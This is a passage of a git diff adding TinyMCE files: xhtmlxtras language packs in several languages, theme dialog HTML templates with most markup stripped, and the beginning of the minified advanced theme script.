Attributes","fieldset_general_tab":"\u0e15\u0e31\u0e49\u0e07\u0e04\u0e48\u0e32\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","events_tab":"\u0e01\u0e34\u0e08\u0e01\u0e23\u0e23\u0e21","attrib_tab":"Attributes","general_tab":"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b","attribute_attrib_tab":"Attributes","attribute_events_tab":"Event","attribute_label_accesskey":"\u0e1b\u0e38\u0e48\u0e21\u0e25\u0e31\u0e14","attribute_label_tabindex":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e41\u0e17\u0e47\u0e1a","attribute_label_langcode":"\u0e20\u0e32\u0e29\u0e32","attribute_option_rtl":"\u0e02\u0e27\u0e32\u0e44\u0e1b\u0e0b\u0e49\u0e32\u0e22","attribute_option_ltr":"\u0e0b\u0e49\u0e32\u0e22\u0e44\u0e1b\u0e02\u0e27\u0e32","attribute_label_langdir":"\u0e17\u0e34\u0e28\u0e17\u0e32\u0e07\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","attribute_label_datetime":"\u0e27\u0e31\u0e19/\u0e40\u0e27\u0e25\u0e32","attribute_label_cite":"Cite","attribute_label_style":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","attribute_label_class":"\u0e04\u0e25\u0e32\u0e2a","attribute_label_id":"ID","attribute_label_title":"\u0e0a\u0e37\u0e48\u0e2d"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/tr_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/tr_dlg.js new file mode 100755 index 0000000..cca5435 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.xhtmlxtras_dlg',{"attribs_title":"Nitelik ekle/d\u00fczenle","option_rtl":"Soldan sa\u011fa","option_ltr":"Sa\u011fdan sola","insert_date":"\u015euan ki tarih/saati ekle",remove:"Sil","title_cite_element":"Nesne Al\u0131nt\u0131s\u0131","title_abbr_element":"Nesne K\u0131saltmas\u0131","title_acronym_element":"Nense K\u0131sa ad\u0131","title_del_element":"Nesne Silme","title_ins_element":"Nesne Ekleme","fieldset_events_tab":"Nesne Olaylar\u0131","fieldset_attrib_tab":"Nesne Nitelikleri","fieldset_general_tab":"Genel Ayarlar","events_tab":"Olaylar","attrib_tab":"Nitelikler","general_tab":"Genel","attribute_attrib_tab":"Nitelikler","attribute_events_tab":"Olaylar","attribute_label_accesskey":"Eri\u015fim Tu\u015fu","attribute_label_tabindex":"Sekme indeksi","attribute_label_langcode":"Dil","attribute_option_rtl":"Soldan sa\u011fa","attribute_option_ltr":"Sa\u011fdan sola","attribute_label_langdir":"Metnin y\u00f6n\u00fc","attribute_label_datetime":"Tarih/Saat","attribute_label_cite":"Al\u0131nt\u0131 yapmak","attribute_label_style":"Stil","attribute_label_class":"S\u0131n\u0131f","attribute_label_id":"ID","attribute_label_title":"Ba\u015fl\u0131k"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/tw_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/tw_dlg.js new file mode 100755 index 0000000..470b9a5 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.xhtmlxtras_dlg',{"attribs_title":"\u63d2\u5165/\u7de8\u8f2f\u5c6c\u6027","option_rtl":"\u5f9e\u53f3\u5230\u5de6","option_ltr":"\u5f9e\u5de6\u5230\u53f3","insert_date":"\u63d2\u5165\u76ee\u524d\u65e5\u671f/\u6642\u9593",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u5143\u7d20","title_abbr_element":"\u7e2e\u5beb\u5143\u7d20","title_acronym_element":"\u9996\u5b57\u6bcd\u7e2e\u5beb\u5143\u7d20","title_del_element":"\u522a\u9664\u5143\u7d20","title_ins_element":"\u63d2\u5165\u5143\u7d20","fieldset_events_tab":"\u5143\u7d20\u4e8b\u4ef6","fieldset_attrib_tab":"\u5143\u7d20\u5c6c\u6027","fieldset_general_tab":"\u4e00\u822c\u8a2d\u5b9a","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c6c\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c6c\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"\u5feb\u6377\u9375","attribute_label_tabindex":"Tab\u7d22\u5f15","attribute_label_langcode":"\u8a9e\u8a00","attribute_option_rtl":"\u5f9e\u53f3\u5230\u5de6","attribute_option_ltr":"\u5f9e\u5de6\u5230\u53f3","attribute_label_langdir":"\u6587\u5b57\u66f8\u5beb\u65b9\u5411","attribute_label_datetime":"\u65e5\u671f/\u6642\u9593","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6a23\u5f0f","attribute_label_class":"\u985e\u5225","attribute_label_id":"ID","attribute_label_title":"\u6a19\u984c"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/uk_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/uk_dlg.js new file mode 100755 index 0000000..1dbf928 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.xhtmlxtras_dlg',{"attribs_title":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438/\u0437\u043c\u0456\u043d\u0438\u0442\u0438 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438","option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447","option_ltr":"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447","insert_date":"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 \u043f\u043e\u0442\u043e\u0447\u043d\u0456 \u0434\u0430\u0442\u0443/\u0447\u0430\u0441",remove:"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438","title_cite_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0446\u0438\u0442\u0443\u0432\u0430\u043d\u043d\u044f","title_abbr_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0430\u0431\u0440\u0435\u0432\u0456\u0430\u0442\u0443\u0440\u0438","title_acronym_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0430\u043a\u0440\u043e\u043d\u0456\u043c\u0443","title_del_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0438\u0434\u0430\u043b\u0435\u043d\u043d\u044f","title_ins_element":"\u0415\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0441\u0442\u0430\u0432\u043a\u0438","fieldset_events_tab":"\u041f\u043e\u0434\u0456\u0457 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443","fieldset_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0443","fieldset_general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0456 \u043d\u0430\u043b\u0430\u0448\u0442\u0443\u0432\u0430\u043d\u043d\u044f","events_tab":"\u041f\u043e\u0434\u0456\u0457","attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438","general_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","attribute_attrib_tab":"\u0410\u0442\u0440\u0438\u0431\u0443\u0442\u0438","attribute_events_tab":"\u041f\u043e\u0434\u0456\u0457","attribute_label_accesskey":"\u041a\u043b\u0430\u0432\u0456\u0448\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0443","attribute_label_tabindex":"\u0422\u0430\u0431\u0456\u043d\u0434\u0435\u043a\u0441","attribute_label_langcode":"\u041c\u043e\u0432\u0430","attribute_option_rtl":"\u0421\u043f\u0440\u0430\u0432\u0430 \u043d\u0430\u043b\u0456\u0432\u043e","attribute_option_ltr":"\u0417\u043b\u0456\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e","attribute_label_langdir":"\u041d\u0430\u043f\u0440\u044f\u043c \u0442\u0435\u043a\u0441\u0442\u0443","attribute_label_datetime":"\u0414\u0430\u0442\u0430/\u0427\u0430\u0441","attribute_label_cite":"\u0426\u0438\u0442\u0430\u0442\u0430","attribute_label_style":"\u0421\u0442\u0438\u043b\u044c","attribute_label_class":"\u041a\u043b\u0430\u0441","attribute_label_id":"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440","attribute_label_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/vi_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/vi_dlg.js new file mode 100755 index 0000000..227659a --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.xhtmlxtras_dlg',{"attribs_title":"Ch\u00e8n/S\u1eeda thu\u1ed9c t\u00ednh","option_rtl":"Ph\u1ea3i qua tr\u00e1i","option_ltr":"Tr\u00e1i qua ph\u1ea3i","insert_date":"Ch\u00e8n ng\u00e0y/gi\u1edd hi\u1ec7n th\u1eddi",remove:"Lo\u1ea1i b\u1ecf","title_cite_element":"Bi\u00ea\u0309u ch\u01b0\u01a1ng ph\u1ea7n t\u1eed","title_abbr_element":"T\u00ean vi\u1ebft t\u1eaft ph\u1ea7n t\u1eed","title_acronym_element":"Vi\u1ebft t\u1eaft ph\u1ea7n t\u1eed","title_del_element":"X\u00f3a ph\u1ea7n t\u1eed","title_ins_element":"Ch\u00e8n ph\u1ea7n t\u1eed","fieldset_events_tab":"S\u1ef1 ki\u1ec7n ph\u1ea7n t\u1eed","fieldset_attrib_tab":"Thu\u1ed9c t\u00ednh ph\u1ea7n t\u1eed","fieldset_general_tab":"Thi\u1ebft l\u1eadp chung","events_tab":"S\u1ef1 ki\u1ec7n","attrib_tab":"Thu\u1ed9c t\u00ednh","general_tab":"Chung","attribute_attrib_tab":"Thu\u1ed9c t\u00ednh","attribute_events_tab":"S\u1ef1 ki\u1ec7n","attribute_label_accesskey":"Ph\u00edm truy c\u1eadp","attribute_label_tabindex":"Ch\u1ec9 m\u1ee5c th\u1ebb","attribute_label_langcode":"Ng\u00f4n ng\u1eef","attribute_option_rtl":"Ph\u1ea3i qua tr\u00e1i","attribute_option_ltr":"Tr\u00e1i qua ph\u1ea3i","attribute_label_langdir":"H\u01b0\u1edbng v\u0103n b\u1ea3n","attribute_label_datetime":"Ng\u00e0y/gi\u1edd","attribute_label_cite":"Ch\u00fa th\u00edch","attribute_label_style":"Ki\u1ec3u d\u00e1ng","attribute_label_class":"L\u1edbp","attribute_label_id":"ID","attribute_label_title":"Ti\u00eau \u0111\u1ec1"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/zh-cn_dlg.js new file mode 100755 index 0000000..eccbdf6 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.xhtmlxtras_dlg',{"attribs_title":"\u63d2\u5165/\u7f16\u8f91 \u5c5e\u6027","option_rtl":"\u4ece\u53f3\u5230\u5de6","option_ltr":"\u4ece\u5de6\u5230\u53f3","insert_date":"\u63d2\u5165\u5f53\u524d\u65e5\u671f/\u65f6\u95f4",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u5143\u7d20","title_abbr_element":"\u7f29\u5199\u5143\u7d20","title_acronym_element":"\u9996\u5b57\u6bcd\u7f29\u5199\u5143\u7d20","title_del_element":"\u5220\u9664\u5143\u7d20","title_ins_element":"\u63d2\u5165\u5143\u7d20","fieldset_events_tab":"\u5143\u7d20\u4e8b\u4ef6","fieldset_attrib_tab":"\u5143\u7d20\u5c5e\u6027","fieldset_general_tab":"\u666e\u901a\u8bbe\u7f6e","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c5e\u6027","general_tab":"\u666e\u901a","attribute_attrib_tab":"\u5c5e\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"\u5feb\u6377\u952e","attribute_label_tabindex":"Tab\u7d22\u5f15","attribute_label_langcode":"\u8bed\u8a00","attribute_option_rtl":"\u4ece\u53f3\u5230\u5de6","attribute_option_ltr":"\u4ece\u5de6\u5230\u53f3","attribute_label_langdir":"\u6587\u5b57\u4e66\u5199\u65b9\u5411","attribute_label_datetime":"\u65e5\u671f/\u65f6\u95f4","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6837\u5f0f","attribute_label_class":"\u7c7b\u522b","attribute_label_id":"ID","attribute_label_title":"\u6807\u9898"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/xhtmlxtras/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/xhtmlxtras/langs/zh-tw_dlg.js new file mode 100755 index 0000000..d0fec64 --- /dev/null +++ b/js/tiny_mce/plugins/xhtmlxtras/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.xhtmlxtras_dlg',{"attribs_title":"\u52a0\u5165 / \u8a2d\u5b9a\u5c6c\u6027","option_rtl":"\u5f9e\u53f3\u5230\u5de6","option_ltr":"\u5f9e\u5de6\u5230\u53f3","insert_date":"\u52a0\u5165\u76ee\u524d\u7684\u6642\u9593\u3001\u65e5\u671f",remove:"\u79fb\u9664","title_cite_element":"\u5f15\u7528\u6a19\u7c64","title_abbr_element":"\u7e2e\u5beb\u6a19\u7c64","title_acronym_element":"\u982d\u5b57\u8a9e\u6a19\u7c64","title_del_element":"\u79fb\u9664 HTML \u6a19\u7c64","title_ins_element":"\u65b0\u589e HTML \u6a19\u7c64","fieldset_events_tab":"\u6a19\u7c64\u4e8b\u4ef6","fieldset_attrib_tab":"\u6a19\u7c64\u5c6c\u6027","fieldset_general_tab":"\u8a2d\u5b9a","events_tab":"\u4e8b\u4ef6","attrib_tab":"\u5c6c\u6027","general_tab":"\u4e00\u822c","attribute_attrib_tab":"\u5c6c\u6027","attribute_events_tab":"\u4e8b\u4ef6","attribute_label_accesskey":"HTML \u5feb\u901f\u9375 (AccessKey)","attribute_label_tabindex":"Tab \u7d22\u5f15\u4f4d\u7f6e (TabIndex)","attribute_label_langcode":"\u8a9e\u7cfb","attribute_option_rtl":"\u5f9e\u53f3\u908a\u5230\u5de6\u908a","attribute_option_ltr":"\u5f9e\u5de6\u908a\u5230\u53f3\u908a","attribute_label_langdir":"\u66f8\u5beb\u65b9\u5f0f","attribute_label_datetime":"\u6642\u9593\u65e5\u671f","attribute_label_cite":"\u5f15\u7528","attribute_label_style":"\u6a23\u5f0f","attribute_label_class":"\u985e\u5225 (Class)","attribute_label_id":"\u6a19\u7c64\u7684 ID ","attribute_label_title":"\u6a19\u984c"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/about.htm b/js/tiny_mce/themes/advanced/about.htm new file mode 100755 index 0000000..fe36603 --- /dev/null +++ b/js/tiny_mce/themes/advanced/about.htm @@ -0,0 +1,52 @@ + + + + {#advanced_dlg.about_title} + + + + + + + +
    +
    +

    {#advanced_dlg.about_title}

    +

    Version: ()

    +

    TinyMCE is a platform independent web based Javascript HTML WYSIWYG editor control released as Open Source under LGPL + by Moxiecode Systems AB. It has the ability to convert HTML TEXTAREA fields or other HTML elements to editor instances.

    +

    Copyright © 2003-2008, Moxiecode Systems AB, All rights reserved.

    +

    For more information about this software visit the TinyMCE website.

    + +
    + Got Moxie? +
    +
    + +
    +
    +

    {#advanced_dlg.about_loaded}

    + +
    +
    + +

     

    +
    +
    + +
    +
    +
    +
    + +
    + +
    + + diff --git a/js/tiny_mce/themes/advanced/anchor.htm b/js/tiny_mce/themes/advanced/anchor.htm new file mode 100755 index 0000000..dc53312 --- /dev/null +++ b/js/tiny_mce/themes/advanced/anchor.htm @@ -0,0 +1,26 @@ + + + + {#advanced_dlg.anchor_title} + + + + +
    + + + + + + + + +
    {#advanced_dlg.anchor_title}
    + +
    + + +
    +
    + + diff --git a/js/tiny_mce/themes/advanced/charmap.htm b/js/tiny_mce/themes/advanced/charmap.htm new file mode 100755 index 0000000..12acfe1 --- /dev/null +++ b/js/tiny_mce/themes/advanced/charmap.htm @@ -0,0 +1,55 @@ + + + + {#advanced_dlg.charmap_title} + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + +
     
     
    +
    + + + + + + + + + + + + + + + + +
     
     
     
    +
    {#advanced_dlg.charmap_usage}
    + + diff --git a/js/tiny_mce/themes/advanced/color_picker.htm b/js/tiny_mce/themes/advanced/color_picker.htm new file mode 100755 index 0000000..e7f19ab --- /dev/null +++ b/js/tiny_mce/themes/advanced/color_picker.htm @@ -0,0 +1,74 @@ + + + + {#advanced_dlg.colorpicker_title} + + + + + + +
    + + +
    +
    +
    + {#advanced_dlg.colorpicker_picker_title} +
    + + +
    + +
    + +
    +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_palette_title} +
    + +
    + +
    +
    +
    + +
    +
    + {#advanced_dlg.colorpicker_named_title} +
    + +
    + +
    + +
    + {#advanced_dlg.colorpicker_name} +
    +
    +
    +
    + +
    + + +
    + +
    + +
    +
    +
    + + diff --git a/js/tiny_mce/themes/advanced/editor_template.js b/js/tiny_mce/themes/advanced/editor_template.js new file mode 100755 index 0000000..d85b495 --- /dev/null +++ b/js/tiny_mce/themes/advanced/editor_template.js @@ -0,0 +1 @@ +(function(e){var d=e.DOM,b=e.dom.Event,h=e.extend,f=e.each,a=e.util.Cookie,g,c=e.explode;e.ThemeManager.requireLangPack("advanced");e.create("tinymce.themes.AdvancedTheme",{sizes:[8,10,12,14,18,24,36],controls:{bold:["bold_desc","Bold"],italic:["italic_desc","Italic"],underline:["underline_desc","Underline"],strikethrough:["striketrough_desc","Strikethrough"],justifyleft:["justifyleft_desc","JustifyLeft"],justifycenter:["justifycenter_desc","JustifyCenter"],justifyright:["justifyright_desc","JustifyRight"],justifyfull:["justifyfull_desc","JustifyFull"],bullist:["bullist_desc","InsertUnorderedList"],numlist:["numlist_desc","InsertOrderedList"],outdent:["outdent_desc","Outdent"],indent:["indent_desc","Indent"],cut:["cut_desc","Cut"],copy:["copy_desc","Copy"],paste:["paste_desc","Paste"],undo:["undo_desc","Undo"],redo:["redo_desc","Redo"],link:["link_desc","mceLink"],unlink:["unlink_desc","unlink"],image:["image_desc","mceImage"],cleanup:["cleanup_desc","mceCleanup"],help:["help_desc","mceHelp"],code:["code_desc","mceCodeEditor"],hr:["hr_desc","InsertHorizontalRule"],removeformat:["removeformat_desc","RemoveFormat"],sub:["sub_desc","subscript"],sup:["sup_desc","superscript"],forecolor:["forecolor_desc","ForeColor"],forecolorpicker:["forecolor_desc","mceForeColor"],backcolor:["backcolor_desc","HiliteColor"],backcolorpicker:["backcolor_desc","mceBackColor"],charmap:["charmap_desc","mceCharMap"],visualaid:["visualaid_desc","mceToggleVisualAid"],anchor:["anchor_desc","mceInsertAnchor"],newdocument:["newdocument_desc","mceNewDocument"],blockquote:["blockquote_desc","mceBlockQuote"]},stateControls:["bold","italic","underline","strikethrough","bullist","numlist","justifyleft","justifycenter","justifyright","justifyfull","sub","sup","blockquote"],init:function(j,k){var l=this,m,i,n;l.editor=j;l.url=k;l.onResolveName=new e.util.Dispatcher(this);j.forcedHighContrastMode=j.settings.detect_highcontrast&&l._isHighContrast();j.settings.skin=j.forcedHighContrastMode?"highcontrast":j.settings.skin;l.settings=m=h({theme_advanced_path:true,theme_advanced_toolbar_location:"bottom",theme_advanced_buttons1:"bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect",theme_advanced_buttons2:"bullist,numlist,|,outdent,indent,|,undo,redo,|,link,unlink,anchor,image,cleanup,help,code",theme_advanced_buttons3:"hr,removeformat,visualaid,|,sub,sup,|,charmap",theme_advanced_blockformats:"p,address,pre,h1,h2,h3,h4,h5,h6",theme_advanced_toolbar_align:"center",theme_advanced_fonts:"Andale Mono=andale mono,times;Arial=arial,helvetica,sans-serif;Arial Black=arial black,avant garde;Book Antiqua=book antiqua,palatino;Comic Sans MS=comic sans ms,sans-serif;Courier New=courier new,courier;Georgia=georgia,palatino;Helvetica=helvetica;Impact=impact,chicago;Symbol=symbol;Tahoma=tahoma,arial,helvetica,sans-serif;Terminal=terminal,monaco;Times New Roman=times new roman,times;Trebuchet MS=trebuchet ms,geneva;Verdana=verdana,geneva;Webdings=webdings;Wingdings=wingdings,zapf dingbats",theme_advanced_more_colors:1,theme_advanced_row_height:23,theme_advanced_resize_horizontal:1,theme_advanced_resizing_use_cookie:1,theme_advanced_font_sizes:"1,2,3,4,5,6,7",theme_advanced_font_selector:"span",theme_advanced_show_current_color:0,readonly:j.settings.readonly},j.settings);if(!m.font_size_style_values){m.font_size_style_values="8pt,10pt,12pt,14pt,18pt,24pt,36pt"}if(e.is(m.theme_advanced_font_sizes,"string")){m.font_size_style_values=e.explode(m.font_size_style_values);m.font_size_classes=e.explode(m.font_size_classes||"");n={};j.settings.theme_advanced_font_sizes=m.theme_advanced_font_sizes;f(j.getParam("theme_advanced_font_sizes","","hash"),function(q,p){var o;if(p==q&&q>=1&&q<=7){p=q+" ("+l.sizes[q-1]+"pt)";o=m.font_size_classes[q-1];q=m.font_size_style_values[q-1]||(l.sizes[q-1]+"pt")}if(/^\s*\./.test(q)){o=q.replace(/\./g,"")}n[p]=o?{"class":o}:{fontSize:q}});m.theme_advanced_font_sizes=n}if((i=m.theme_advanced_path_location)&&i!="none"){m.theme_advanced_statusbar_location=m.theme_advanced_path_location}if(m.theme_advanced_statusbar_location=="none"){m.theme_advanced_statusbar_location=0}if(j.settings.content_css!==false){j.contentCSS.push(j.baseURI.toAbsolute(k+"/skins/"+j.settings.skin+"/content.css"))}j.onInit.add(function(){if(!j.settings.readonly){j.onNodeChange.add(l._nodeChanged,l);j.onKeyUp.add(l._updateUndoStatus,l);j.onMouseUp.add(l._updateUndoStatus,l);j.dom.bind(j.dom.getRoot(),"dragend",function(){l._updateUndoStatus(j)})}});j.onSetProgressState.add(function(q,o,r){var s,t=q.id,p;if(o){l.progressTimer=setTimeout(function(){s=q.getContainer();s=s.insertBefore(d.create("DIV",{style:"position:relative"}),s.firstChild);p=d.get(q.id+"_tbl");d.add(s,"div",{id:t+"_blocker","class":"mceBlocker",style:{width:p.clientWidth+2,height:p.clientHeight+2}});d.add(s,"div",{id:t+"_progress","class":"mceProgress",style:{left:p.clientWidth/2,top:p.clientHeight/2}})},r||0)}else{d.remove(t+"_blocker");d.remove(t+"_progress");clearTimeout(l.progressTimer)}});d.loadCSS(m.editor_css?j.documentBaseURI.toAbsolute(m.editor_css):k+"/skins/"+j.settings.skin+"/ui.css");if(m.skin_variant){d.loadCSS(k+"/skins/"+j.settings.skin+"/ui_"+m.skin_variant+".css")}},_isHighContrast:function(){var i,j=d.add(d.getRoot(),"div",{style:"background-color: rgb(171,239,86);"});i=(d.getStyle(j,"background-color",true)+"").toLowerCase().replace(/ /g,"");d.remove(j);return i!="rgb(171,239,86)"&&i!="#abef56"},createControl:function(l,i){var j,k;if(k=i.createControl(l)){return k}switch(l){case"styleselect":return this._createStyleSelect();case"formatselect":return this._createBlockFormats();case"fontselect":return this._createFontSelect();case"fontsizeselect":return this._createFontSizeSelect();case"forecolor":return this._createForeColorMenu();case"backcolor":return this._createBackColorMenu()}if((j=this.controls[l])){return i.createButton(l,{title:"advanced."+j[0],cmd:j[1],ui:j[2],value:j[3]})}},execCommand:function(k,j,l){var i=this["_"+k];if(i){i.call(this,j,l);return true}return false},_importClasses:function(k){var i=this.editor,j=i.controlManager.get("styleselect");if(j.getLength()==0){f(i.dom.getClasses(),function(n,l){var m="style_"+l;i.formatter.register(m,{inline:"span",attributes:{"class":n["class"]},selector:"*"});j.add(n["class"],m)})}},_createStyleSelect:function(m){var k=this,i=k.editor,j=i.controlManager,l;l=j.createListBox("styleselect",{title:"advanced.style_select",onselect:function(o){var p,n=[];f(l.items,function(q){n.push(q.value)});i.focus();i.undoManager.add();p=i.formatter.matchAll(n);if(!o||p[0]==o){if(p[0]){i.formatter.remove(p[0])}}else{i.formatter.apply(o)}i.undoManager.add();i.nodeChanged();return false}});i.onInit.add(function(){var o=0,n=i.getParam("style_formats");if(n){f(n,function(p){var q,r=0;f(p,function(){r++});if(r>1){q=p.name=p.name||"style_"+(o++);i.formatter.register(q,p);l.add(p.title,q)}else{l.add(p.title)}})}else{f(i.getParam("theme_advanced_styles","","hash"),function(r,q){var p;if(r){p="style_"+(o++);i.formatter.register(p,{inline:"span",classes:r,selector:"*"});l.add(k.editor.translate(q),p)}})}});if(l.getLength()==0){l.onPostRender.add(function(o,p){if(!l.NativeListBox){b.add(p.id+"_text","focus",k._importClasses,k);b.add(p.id+"_text","mousedown",k._importClasses,k);b.add(p.id+"_open","focus",k._importClasses,k);b.add(p.id+"_open","mousedown",k._importClasses,k)}else{b.add(p.id,"focus",k._importClasses,k)}})}return l},_createFontSelect:function(){var k,j=this,i=j.editor;k=i.controlManager.createListBox("fontselect",{title:"advanced.fontdefault",onselect:function(l){var m=k.items[k.selectedIndex];if(!l&&m){i.execCommand("FontName",false,m.value);return}i.execCommand("FontName",false,l);k.select(function(n){return l==n});if(m&&m.value==l){k.select(null)}return false}});if(k){f(i.getParam("theme_advanced_fonts",j.settings.theme_advanced_fonts,"hash"),function(m,l){k.add(i.translate(l),m,{style:m.indexOf("dings")==-1?"font-family:"+m:""})})}return k},_createFontSizeSelect:function(){var m=this,k=m.editor,n,l=0,j=[];n=k.controlManager.createListBox("fontsizeselect",{title:"advanced.font_size",onselect:function(i){var o=n.items[n.selectedIndex];if(!i&&o){o=o.value;if(o["class"]){k.formatter.toggle("fontsize_class",{value:o["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,o.fontSize)}return}if(i["class"]){k.focus();k.undoManager.add();k.formatter.toggle("fontsize_class",{value:i["class"]});k.undoManager.add();k.nodeChanged()}else{k.execCommand("FontSize",false,i.fontSize)}n.select(function(p){return i==p});if(o&&(o.value.fontSize==i.fontSize||o.value["class"]&&o.value["class"]==i["class"])){n.select(null)}return false}});if(n){f(m.settings.theme_advanced_font_sizes,function(o,i){var p=o.fontSize;if(p>=1&&p<=7){p=m.sizes[parseInt(p)-1]+"pt"}n.add(i,o,{style:"font-size:"+p,"class":"mceFontSize"+(l++)+(" "+(o["class"]||""))})})}return n},_createBlockFormats:function(){var k,i={p:"advanced.paragraph",address:"advanced.address",pre:"advanced.pre",h1:"advanced.h1",h2:"advanced.h2",h3:"advanced.h3",h4:"advanced.h4",h5:"advanced.h5",h6:"advanced.h6",div:"advanced.div",blockquote:"advanced.blockquote",code:"advanced.code",dt:"advanced.dt",dd:"advanced.dd",samp:"advanced.samp"},j=this;k=j.editor.controlManager.createListBox("formatselect",{title:"advanced.block",onselect:function(l){j.editor.execCommand("FormatBlock",false,l);return false}});if(k){f(j.editor.getParam("theme_advanced_blockformats",j.settings.theme_advanced_blockformats,"hash"),function(m,l){k.add(j.editor.translate(l!=m?l:i[m]),m,{"class":"mce_formatPreview mce_"+m})})}return k},_createForeColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_text_colors){l.colors=i}if(k.theme_advanced_default_foreground_color){l.default_color=k.theme_advanced_default_foreground_color}l.title="advanced.forecolor_desc";l.cmd="ForeColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("forecolor",l);return m},_createBackColorMenu:function(){var m,j=this,k=j.settings,l={},i;if(k.theme_advanced_more_colors){l.more_colors_func=function(){j._mceColorPicker(0,{color:m.value,func:function(n){m.setColor(n)}})}}if(i=k.theme_advanced_background_colors){l.colors=i}if(k.theme_advanced_default_background_color){l.default_color=k.theme_advanced_default_background_color}l.title="advanced.backcolor_desc";l.cmd="HiliteColor";l.scope=this;m=j.editor.controlManager.createColorSplitButton("backcolor",l);return m},renderUI:function(k){var m,l,q,v=this,r=v.editor,w=v.settings,u,j,i;if(r.settings){r.settings.aria_label=w.aria_label+r.getLang("advanced.help_shortcut")}m=j=d.create("span",{role:"application","aria-labelledby":r.id+"_voice",id:r.id+"_parent","class":"mceEditor "+r.settings.skin+"Skin"+(w.skin_variant?" "+r.settings.skin+"Skin"+v._ufirst(w.skin_variant):"")});d.add(m,"span",{"class":"mceVoiceLabel",style:"display:none;",id:r.id+"_voice"},w.aria_label);if(!d.boxModel){m=d.add(m,"div",{"class":"mceOldBoxModel"})}m=u=d.add(m,"table",{role:"presentation",id:r.id+"_tbl","class":"mceLayout",cellSpacing:0,cellPadding:0});m=q=d.add(m,"tbody");switch((w.theme_advanced_layout_manager||"").toLowerCase()){case"rowlayout":l=v._rowLayout(w,q,k);break;case"customlayout":l=r.execCallback("theme_advanced_custom_layout",w,q,k,j);break;default:l=v._simpleLayout(w,q,k,j)}m=k.targetNode;i=u.rows;d.addClass(i[0],"mceFirst");d.addClass(i[i.length-1],"mceLast");f(d.select("tr",q),function(o){d.addClass(o.firstChild,"mceFirst");d.addClass(o.childNodes[o.childNodes.length-1],"mceLast")});if(d.get(w.theme_advanced_toolbar_container)){d.get(w.theme_advanced_toolbar_container).appendChild(j)}else{d.insertAfter(j,m)}b.